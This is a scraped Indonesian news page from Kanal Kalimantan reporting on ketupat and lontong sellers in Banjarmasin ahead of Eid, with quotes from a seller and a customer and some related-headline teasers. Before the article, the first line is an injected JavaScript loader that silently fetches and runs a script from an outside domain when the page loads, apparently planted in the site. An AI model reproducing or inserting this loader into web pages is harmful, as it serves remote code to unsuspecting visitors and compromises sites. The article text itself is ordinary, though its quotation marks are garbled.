(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Menyambut lebaran yang jatuh pada Jumat (15/6), pemandangan khas terlihat di Jalan A Yani Km 1, Banjarmasin. Puluhan penjual ketupat dan lontong  antre di sepanjang jalan menunggu pembeli. Dengan harga mulai dari Rp 6 ribu untuk ketupat dan Rp 5 ribu untuk lontong, dua bahan pegganti nasi tersebut menjadi “endemik†jelang hari raya idul fitri.
Aminah, mengatakan telah berjualan di pinggir jalan A Yani Km 1 ini sejak dua hari lalu. Untuk pelanggan yang datang kebanyakan dari tiap-tiap keluarga yang ingin menyantap lontong serta ketupat besok. Pertama kali menjajakannya, Aminah mendapatkan keuntungan sekitar Rp 250 ribu.
“Kebanyakan yang membeli ketupat atau lontong dari kalangan keluarga yang datang untuk membeli banyak, namun ada juga masyarakat yang membeli 3 atau 10 ketupat maupun lontong,†katanya.
Ditambahkannya, ia telah berjualan ketupat ini hampir 25 tahun. Aminah merupakan warga Sungai Baru. Dimana kampung tersebut sejak puluhan tahun dikenal sebagai kampung ketupat. Maksudnya berjualan di pinggir jalan ialah agar masyarakat lebih mudah untuk membelinya, tidak perlu harus masuk ke kampung ketupat yang sempit jalannya. “Biasanya datang bermobil, di sugai baru agak sempit jalannya,†jelasnya.
Untuk omzet, dalam seminggu saja atau H -7 sebelum lebaran bisa meraup rezeki sebanyak Rp 6 juta. Itu dihitung ia bejualann di pinggir jalan dan dirumahnya pun ikut berjualan, sedangkan untuk tahun ini H -1 ini saja ia hanya mendapat Rp 4 juta. “Agak berkurang tahun ini, mungkin banyaknya persaingan dagang,†ungkapnya.
Selain menjual ketupat yang sudah siap santap, Aminah juga menjual ketupat kosongan. Apabila ada pelanggan yang ingin membuat ketupat sendiri, ketupat kosongan tersebut juga diproduksi di rumahnya oleh bantuan beberapa keluarganya. Harga dari ketupat kosongan satu renteng dengan ukuran besar berisi 10 ketupat dihargai Rp 20 ribu. Sedangkan untuk yang berukuran kecil dengan isi 10 ketupat dihargai Rp 15 ribu.
Ana Muslimah salah seorang pembeli yang merupakan langganganAminah mengatakan, ketupat sudah menjadi identitas saat menikmati lebaran bersama keluarga kebiasaan ini sulit untuk ditinggalkan karena banyak orang-orang banjarmasin yang menantikan momen ini. “Kada kawa dipisahkan ketupat lawan hari raya,†ucapnya.
Ditambahkannya lagi, apabila ingin membeli ketupat di kota banjarmasin datanglah ke sungai baru kampung ketupat disana merupakan pemproduksi legendaris ketupat dan lontong. “Bisa datang ke kampung ketupat, disana bervariasi harganya. Atau datangi kewadah acil minah, sidin asli urang sungai baru jua,†ungkapnya.(ammar)
KANALKALIMANTAN.COM, BANDUNG - Direktur Utama PT PLN (Persero) Darmawan Prasodjo memastikan seluruh infrastruktur Stasiun Pengisian… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri (Wamen) Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan sistem… Read More
KANALKALIMANTAN.COM, PARINGIN - Desa Balida, Kecamatan Paringin untuk kali ketiga mengelar gebyar desa. Acara bertajuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Destinasi wahana mandi busa pertama hadir di Kota Banjarbaru menjadi pilihan warga… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Momentum Natal dan Tahun Baru 2025, Kesatuan Aksi Mahasiswa Muslim Indonesia (KAMMI)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Srikandi PLN Unit Induk Penyaluran dan Pusat Pengatur Beban Kalimantan bersama dengan… Read More
This website uses cookies.